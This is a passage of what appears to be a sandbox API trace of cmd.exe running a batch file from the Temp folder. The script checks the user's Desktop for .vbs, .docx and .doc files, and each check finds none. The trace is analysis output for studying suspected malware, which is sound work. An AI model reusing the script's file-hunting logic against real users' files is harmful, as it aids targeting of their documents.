dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.075] GetProcessHeap () returned 0x4e0000 [0038.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.075] GetProcessHeap () returned 0x4e0000 [0038.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.075] GetProcessHeap () returned 0x4e0000 [0038.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.075] GetProcessHeap () returned 0x4e0000 [0038.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.075] GetProcessHeap () returned 0x4e0000 [0038.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.075] GetProcessHeap () returned 0x4e0000 [0038.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.075] GetProcessHeap () returned 0x4e0000 [0038.075] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.075] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0038.075] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.075] SetFilePointer (in: hFile=0x74, lDistanceToMove=212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0038.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0038.076] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.076] GetFileType (hFile=0x74) returned 0x1 [0038.076] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.076] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0038.076] GetProcessHeap () returned 0x4e0000 [0038.076] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.076] GetProcessHeap () returned 0x4e0000 [0038.076] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.076] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.076] GetProcessHeap () returned 0x4e0000 [0038.076] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.076] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.076] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.076] GetProcessHeap () returned 0x4e0000 [0038.076] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.076] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.076] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.076] GetProcessHeap () returned 0x4e0000 [0038.076] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.076] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.076] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.076] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.076] GetProcessHeap () returned 0x4e0000 [0038.076] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.077] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.077] GetProcessHeap () returned 0x4e0000 [0038.077] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.077] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.077] GetProcessHeap () returned 0x4e0000 [0038.077] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.077] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.077] _tell (_FileHandle=3) returned 212 [0038.077] _close (_FileHandle=3) returned 0 [0038.078] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0038.078] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.078] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.078] GetLastError () returned 0x2 [0038.078] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.078] GetLastError () returned 0x6 [0038.078] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.078] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.078] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.078] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.078] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.078] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.079] SetConsoleInputExeNameW () returned 0x1 [0038.079] GetConsoleOutputCP () returned 0x1b5 [0038.079] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.079] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.079] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.079] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.079] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0038.079] GetProcessHeap () returned 0x4e0000 [0038.079] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.079] GetProcessHeap () returned 0x4e0000 [0038.079] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.079] GetProcessHeap () returned 0x4e0000 [0038.079] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.079] GetProcessHeap () returned 0x4e0000 [0038.079] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.079] GetProcessHeap () returned 0x4e0000 [0038.079] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.079] GetProcessHeap () returned 0x4e0000 [0038.079] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.079] GetProcessHeap () returned 0x4e0000 [0038.079] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.079] GetProcessHeap () returned 0x4e0000 [0038.080] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.080] GetProcessHeap () returned 0x4e0000 [0038.080] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.080] GetProcessHeap () returned 0x4e0000 [0038.080] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0038.080] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0038.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0038.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.080] GetFileType (hFile=0x74) returned 0x1 [0038.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0038.080] GetProcessHeap () returned 0x4e0000 [0038.080] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.080] GetProcessHeap () returned 0x4e0000 [0038.080] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.080] _tell (_FileHandle=3) returned 214 [0038.080] _close (_FileHandle=3) returned 0 [0038.080] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.081] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0038.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0038.081] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0038.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0038.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.081] GetFileType (hFile=0x74) returned 0x1 [0038.081] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.081] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0038.081] GetProcessHeap () returned 0x4e0000 [0038.081] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.081] GetProcessHeap () returned 0x4e0000 [0038.081] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.081] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.081] GetProcessHeap () returned 0x4e0000 [0038.081] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.081] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.081] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.081] GetProcessHeap () returned 0x4e0000 [0038.081] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.081] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.082] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.082] GetProcessHeap () returned 0x4e0000 [0038.082] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.082] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.082] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.082] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f58c0 [0038.082] GetProcessHeap () returned 0x4e0000 [0038.082] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f6080 [0038.082] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6080, Size=0x18) returned 0x4f58e0 [0038.082] GetProcessHeap () returned 0x4e0000 [0038.082] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x18 [0038.082] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.082] GetProcessHeap () returned 0x4e0000 [0038.082] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.082] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5920 [0038.083] _tell (_FileHandle=3) returned 241 [0038.083] _close (_FileHandle=3) returned 0 [0038.083] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0038.083] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.083] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.083] GetLastError () returned 0x2 [0038.083] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.083] GetLastError () returned 0x6 [0038.083] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.083] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.083] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.083] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.084] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.084] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.084] SetConsoleInputExeNameW () returned 0x1 [0038.084] GetConsoleOutputCP () returned 0x1b5 [0038.084] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.084] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.084] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.085] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.085] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.085] SetFilePointer (in: hFile=0x74, lDistanceToMove=241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0038.085] GetProcessHeap () returned 0x4e0000 [0038.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.085] GetProcessHeap () returned 0x4e0000 [0038.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.085] GetProcessHeap () returned 0x4e0000 [0038.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.085] GetProcessHeap () returned 0x4e0000 [0038.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.085] GetProcessHeap () returned 0x4e0000 [0038.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.085] GetProcessHeap () returned 0x4e0000 [0038.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.085] GetProcessHeap () returned 0x4e0000 [0038.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.085] GetProcessHeap () returned 0x4e0000 [0038.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.085] GetProcessHeap () returned 0x4e0000 [0038.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.085] GetProcessHeap () returned 0x4e0000 [0038.085] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.085] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.085] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0038.085] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0038.086] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0038.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.086] GetFileType (hFile=0x74) returned 0x1 [0038.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0038.086] GetProcessHeap () returned 0x4e0000 [0038.086] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.086] GetProcessHeap () returned 0x4e0000 [0038.086] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.086] _tell (_FileHandle=3) returned 243 [0038.086] _close (_FileHandle=3) returned 0 [0038.086] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.086] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.086] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.086] SetFilePointer (in: hFile=0x74, lDistanceToMove=243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0038.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0038.087] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0038.087] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0038.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.087] GetFileType (hFile=0x74) returned 0x1 [0038.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0038.087] GetProcessHeap () returned 0x4e0000 [0038.087] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.087] GetProcessHeap () returned 0x4e0000 [0038.087] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.087] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.087] GetProcessHeap () returned 0x4e0000 [0038.087] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.087] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.087] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.087] GetProcessHeap () returned 0x4e0000 [0038.087] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.087] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.087] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.087] GetProcessHeap () returned 0x4e0000 [0038.087] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.087] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.087] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.088] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.088] GetProcessHeap () returned 0x4e0000 [0038.088] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.088] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.088] GetProcessHeap () returned 0x4e0000 [0038.088] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.088] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.088] GetProcessHeap () returned 0x4e0000 [0038.088] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.088] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.089] _tell (_FileHandle=3) returned 268 [0038.089] _close (_FileHandle=3) returned 0 [0038.089] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0038.089] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.089] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.089] GetLastError () returned 0x2 [0038.089] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.089] GetLastError () returned 0x6 [0038.089] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.089] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.089] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.089] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.090] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.090] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.090] SetConsoleInputExeNameW () returned 0x1 [0038.090] GetConsoleOutputCP () returned 0x1b5 [0038.090] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.090] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.090] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.090] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.090] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.090] SetFilePointer (in: hFile=0x74, lDistanceToMove=268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0038.090] GetProcessHeap () returned 0x4e0000 [0038.090] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.090] GetProcessHeap () returned 0x4e0000 [0038.090] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.090] GetProcessHeap () returned 0x4e0000 [0038.091] HeapFree 